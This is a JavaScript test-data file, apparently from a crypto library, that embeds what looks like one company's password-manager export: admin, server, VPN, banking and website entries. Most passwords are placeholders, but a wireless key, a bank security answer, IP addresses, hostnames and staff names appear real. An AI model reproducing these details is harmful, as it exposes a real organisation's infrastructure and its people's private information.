* Javascript Crypto Library is distributed in the hope that it will
|
||||
be useful, but WITHOUT ANY WARRANTY; without even the implied
|
||||
warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
|
||||
See the GNU Affero General Public License for more details.
|
||||
|
||||
* You should have received a copy of the GNU Affero General Public
|
||||
License along with Javascript Crypto Library. If not, see
|
||||
<http://www.gnu.org/licenses/>.
|
||||
|
||||
*/
|
||||
|
||||
var testData = {}
|
||||
|
||||
testData['Barb_Newman_data'] = "";
|
||||
testData['Barb_Newman_data'] = testData['Barb_Newman_data'] +
|
||||
"[Domain Administration Account]" + "\n" +
|
||||
"Group: Windows" + "\n" +
|
||||
"User Name: _ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[Enquiro Domain]" + "\n" +
|
||||
"Group: Windows" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: This is an Exchange Mailbox checked by IT/Programming" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Enquiro Domain Administrator Account]" + "\n" +
|
||||
"Group: Windows" + "\n" +
|
||||
"User Name: ENQUIRO\ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Obsolete" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Enquiro Domain Administrator Account]" + "\n" +
|
||||
"Group: Windows" + "\n" +
|
||||
"User Name: ENQUIRO\ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Changed on 07 Sep 2007 by Randy Kissick" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Enquiro Domain Previous Administrator Account]" + "\n" +
|
||||
"Group: Windows" + "\n" +
|
||||
"User Name: ENQUIRO\ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENSQL1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Local Administrator Account for most Machines]" + "\n" +
|
||||
"Group: Windows" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[Local Administrator Account for some Machines]" + "\n" +
|
||||
"Group: Windows" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[Bugzilla]" + "\n" +
|
||||
"Group: Hardware" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: BUGZILLA" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Client Services Linux Box]" + "\n" +
|
||||
"Group: Hardware" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: 192.168.1.141" + "\n" +
|
||||
"" + "\n" +
|
||||
"[ENSQL2 BIOS]" + "\n" +
|
||||
"Group: Hardware" + "\n" +
|
||||
"User Name: " + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[Eye Tracking PC]" + "\n" +
|
||||
"Group: Hardware" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[IT Linux Box (Brainiac)]" + "\n" +
|
||||
"Group: Hardware" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[Maizal - Contract Developer Machine]" + "\n" +
|
||||
"Group: Hardware" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: 199.185.139.69:3399" + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Software Development Contractors use remote access to access this machine.\r\n\r\nTested August 08.\r\n\r\nBe sure to send the info via two different delivery methods." + "\n" +
|
||||
"" + "\n" +
|
||||
"[NETGEAR WGR614v3]" + "\n" +
|
||||
"Group: Hardware" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: (192.168.1.11)" + "\n" +
|
||||
"" + "\n" +
|
||||
"[SEP Firewall (192.168.1.1)]" + "\n" +
|
||||
"Group: Hardware" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Changed to this on 2007/01/31" + "\n" +
|
||||
"" + "\n" +
|
||||
"[SEP Firewall (192.168.1.1)]" + "\n" +
|
||||
"Group: Hardware" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: 192.168.1.1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[UPS]" + "\n" +
|
||||
"Group: Hardware" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[Wireless WPA-PSK]" + "\n" +
|
||||
"Group: Hardware" + "\n" +
|
||||
"User Name: " + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: synergize" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[Gord's Laptop Adminstrator 123456" + "\n" +
|
||||
"Group: Hardware" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[Wireless Access Point]" + "\n" +
|
||||
"Group: Hardware" + "\n" +
|
||||
"User Name: SSID: ENWRLSS" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: WPA (TKIP) key is in password 123456" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Adobe Account]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[APC UPS Website]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Web site for UPS Drivers/Manuals" + "\n" +
|
||||
"" + "\n" +
|
||||
"[ask.enquiro.com admin]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: ask.enquiro.com" + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Jody is the admin\r\nChris is the editor" + "\n" +
|
||||
"" + "\n" +
|
||||
"[ask.enquiro.com ftp]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: ask.enquiro.com" + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ftp.ask.enquiro.com\r\nchanged 02 Jun 08" + "\n" +
|
||||
"" + "\n" +
|
||||
"[BulkRegister]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC " + "\n" +
|
||||
"URL: https://www.bulkregister.com/Login.asp?" + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Used for domain registrations" + "\n" +
|
||||
"" + "\n" +
|
||||
"[controlpanel.provisiondata.com]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: SEIReports.com Email address management" + "\n" +
|
||||
"" + "\n" +
|
||||
"[controlpanel.provisiondata.com]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: " + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: " + "\n" +
|
||||
"Notes: Searchengineposition.com Email address management" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Dell Canada]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Used to order equirpment from Dell\r\nCredit Card information is Tracy Kalancha AmEx" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Feedback Server]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: http://www.nsurvey.org/members/login.aspx" + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[ftp.enquiro.com]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: TYRANUS (199.60.252.157)\r\nchanged 25 Jun 08" + "\n" +
|
||||
"" + "\n" +
|
||||
"[ftp.enquirolabs.com]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: enquirolabs.com" + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Changed 04 Jun 08" + "\n" +
|
||||
"" + "\n" +
|
||||
"[ftp://ftp.b2bexpertseries.com]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: b2bexpertseries.com" + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Changed 02 Jun 08" + "\n" +
|
||||
"" + "\n" +
|
||||
"[HSBC Bank Account]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: hsbc.ca" + "\n" +
|
||||
"Password: " + "\n" +
|
||||
"Notes: What is my Mother's Name: BARBARA\r\nSecurity Code is generated by the Security Device - you have 10 seconds to enter it." + "\n" +
|
||||
"" + "\n" +
|
||||
"[HSBC Fx Trading]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: https://fxtrading.hsbc.ca/fx-canada/login.html" + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Doug to advise when he changes the password. Software requests change on a regular basis." + "\n" +
|
||||
"" + "\n" +
|
||||
"[Industry Canada - Canadian Company Capabilities (CCC)]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: http://www.ic.gc.ca" + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Our listing: http://www.ic.gc.ca/app/ccc/srch/nvgt.do;jsessionid=0000RKFbMEOs2xvyRNoCF4pH3Ym:1247nks53?lang=eng&prtl=1&profile=cmpltPrfl&V_TOKEN=1203707557897&V_SEARCH.command=navigate&V_SEARCH.docsStart=1&V_SEARCH.resultsJSP=/prfl.do&V_DOCUMENT.docRank=1&V_SEARCH.docsCount=3&estblmntNo=234567061957&profileId=\r\n\r\nAndrew is responsible to update" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Internet Secure CAD 1086]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: https://www.internetsecure.com/merchants/" + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Doug to advise when he changes the password. Software requests change on a regular basis." + "\n" +
|
||||
"" + "\n" +
|
||||
"[Internet Secure USD 1087]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: https://www.internetsecure.com/merchants/" + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Doug to advise when he changes the password. Software requests change on a regular basis." + "\n" +
|
||||
"" + "\n" +
|
||||
"[louisville.net-radar.com]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: FTP/FrontPage" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Microsoft Licensing Program eOpen]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: https://eOpen.microsoft.com" + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Used to record all Microsoft licensing information" + "\n" +
|
||||
"" + "\n" +
|
||||
"[OSTEC Job Site]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[OutOfMyGord.com Blog Login]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: VADER" + "\n" +
|
||||
"" + "\n" +
|
||||
"[OutOfMyGord.com Web Site]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: VADER" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Paypal@enquiro.com]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[PRWeb]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: shermantracy" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[ScanMail Logon]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Scanmail Logon (Anti-Spam)" + "\n" +
|
||||
"" + "\n" +
|
||||
"[secure.searchengineposition.com]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: " + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: TYRANUS (199.60.252.237)" + "\n" +
|
||||
"" + "\n" +
|
||||
"[seireports.com]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: http://www.seireports.com/" + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[sepreports.com]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: http://www.sepreports.com" + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Used for monthly client reporting" + "\n" +
|
||||
"" + "\n" +
|
||||
"[septraffic.com]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[Spiceworks]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: http://endc3:9675/dashboard" + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Is installed on endc3. \r\nIt's used to inventory the hardware attached to the network. \r\nIt's scheduled to run daily at 10:00am. \r\nMachine's must be on to be detected.\r\n\r\nNote: first character of password is a zero\r\n\r\n\r\nhttp://www.spiceworks.com" + "\n" +
|
||||
"" + "\n" +
|
||||
"[SurveyMonkey Enquiro]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: http://www.surveymonkey.com" + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Used for small Enquiro surveys that aren't research related" + "\n" +
|
||||
"" + "\n" +
|
||||
"[SwishZone]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[Tobii.com]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: " + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: " + "\n" +
|
||||
"Notes: Tobii Website Logon" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Trend Micro]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: https://olr.trendmicro.com/registration/" + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: 23 Jan 08 - I logged a bug with Trend to merge the DougWilson account with this account. /bn\r\n\r\n31 Jan 07 - Done!" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Watchguard VPN Administrator]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: https://10.99.50.254" + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Log on here to adminster the VPN, create wgx files and user passphrase\r\n\r\n\r\n\r\n" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Watchguard VPN hardware support website]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: https://www.watchguard.com/" + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Enquiro's VPN hardware support website\r\n\r\n\r\n\r\n\r\n" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Webtrain]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: http://www.webtrain.com/" + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Used to set up webinars. \r\nOwner username can give permisions to share with other users, and those users can create login's.\r\n\r\nHours are associated with the gord@searchengineposition.com account" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Whitelist & Spam Trainer (Jeremy's)]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: http://my.email-as.net" + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Used to:\r\n- add email addresses for clients, prospects or other contacts to the email whitelist\r\n- train Jeremy's system as spam or not spam.\r\n\r\nJeremy uses SpamAssassin " + "\n" +
|
||||
"" + "\n" +
|
||||
"[www.amazon.com]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[www.digitalriver.com]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: " + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[www.kelownarockets.com/store/ssl/admin/menu.asp]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: GEONOSIS" + "\n" +
|
||||
"" + "\n";
|
||||
|
||||
testData['Barb_Newman_data'] = testData['Barb_Newman_data'] +
|
||||
"[www.webnames.ca]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: 27 Mar 08 - Logged on but site has no domains listed. We no longer use this service, as I have been managing all domains on bulkregister for over a year. /bn" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Yahooligans]" + "\n" +
|
||||
"Group: Websites" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Webtrends Server" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Anti-Virus]" + "\n" +
|
||||
"Group: Services" + "\n" +
|
||||
"User Name: " + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENSQL1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[ENDEV1 SQL Server Service Account]" + "\n" +
|
||||
"Group: Services" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENDEV1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[ENDEV2]" + "\n" +
|
||||
"Group: Services" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENDEV2" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Enquiro Domain - BackUpExec]" + "\n" +
|
||||
"Group: Services" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENSQL1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Enquiro Domain - SEIService Account]" + "\n" +
|
||||
"Group: Services" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENAPP1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Enquiro Domain - SQLServer]" + "\n" +
|
||||
"Group: Services" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENSQL1/ENSQL2" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Enquiro Domain - SQLServer]" + "\n" +
|
||||
"Group: Services" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENSQL1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[ENQUIRO/SEIService User Account]" + "\n" +
|
||||
"Group: Services" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[ENSPS1 Anonymous User]" + "\n" +
|
||||
"Group: Services" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENSPS1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Exchange Email Archive]" + "\n" +
|
||||
"Group: Services" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: Cory changed this on 2007/01/31 to 123456" + "\n" +
|
||||
"" + "\n" +
|
||||
"[MySQL]" + "\n" +
|
||||
"Group: Services" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: BUGZILLA" + "\n" +
|
||||
"" + "\n" +
|
||||
"[SEIWEB1/SEIWEB2 Anonymous User]" + "\n" +
|
||||
"Group: Services" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: BLENDER" + "\n" +
|
||||
"" + "\n" +
|
||||
"[SEIWEB1/SEIWEB2 Anonymous User]" + "\n" +
|
||||
"Group: Services" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: BLENDER" + "\n" +
|
||||
"" + "\n" +
|
||||
"[SEIWEB1/SEIWEB2 Anonymous User]" + "\n" +
|
||||
"Group: Services" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: BLENDER" + "\n" +
|
||||
"" + "\n" +
|
||||
"[SEIWEB1/SEIWEB2 Anonymous User]" + "\n" +
|
||||
"Group: Services" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: BLENDER" + "\n" +
|
||||
"" + "\n" +
|
||||
"[SEIWEB1/SEIWEB2 Anonymous User]" + "\n" +
|
||||
"Group: Services" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: BLENDER" + "\n" +
|
||||
"" + "\n" +
|
||||
"[SEIWEB1/SEIWEB2 Anonymous User]" + "\n" +
|
||||
"Group: Services" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: BLENDER" + "\n" +
|
||||
"" + "\n" +
|
||||
"[SEIWEB1/SEIWEB2 Anonymous User]" + "\n" +
|
||||
"Group: Services" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: BLENDER" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Sharepoint Single Sign On Acct]" + "\n" +
|
||||
"Group: Services" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[SourceSafe on ENDEV1]" + "\n" +
|
||||
"Group: Services" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENDEV1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Bugzilla Database]" + "\n" +
|
||||
"Group: Database Passwords" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: BUGZILLA" + "\n" +
|
||||
"" + "\n" +
|
||||
"[Bugzilla Database]" + "\n" +
|
||||
"Group: Database Passwords" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENDEV1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[ENDOC1 Goldmine SQL2005]" + "\n" +
|
||||
"Group: Database Passwords" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: added 19 Oct 2007 with the Goldmine upgrade." + "\n" +
|
||||
"" + "\n" +
|
||||
"[Enquiro Survey Database Account]" + "\n" +
|
||||
"Group: Database Passwords" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[Enquiro Survey Development Account]" + "\n" +
|
||||
"Group: Database Passwords" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[ENSQL1]" + "\n" +
|
||||
"Group: Database Passwords" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENSQL1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[ENSQL1]" + "\n" +
|
||||
"Group: Database Passwords" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENSQL1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[ENSQL1]" + "\n" +
|
||||
"Group: Database Passwords" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: ENSQL1" + "\n" +
|
||||
"" + "\n" +
|
||||
"[ENSQL1]" + "\n" +
|
||||
"Group: Database Passwords" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[ENSQL2]" + "\n" +
|
||||
"Group: Database Passwords" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: " + "\n" +
|
||||
"" + "\n" +
|
||||
"[OutOfMyGord.com Database]" + "\n" +
|
||||
"Group: Database Passwords" + "\n" +
|
||||
"User Name: ABC" + "\n" +
|
||||
"URL: " + "\n" +
|
||||
"Password: 123456" + "\n" +
|
||||
"Notes: VADER" + "\n" +
|
||||
"" + "\n" +
|
||||
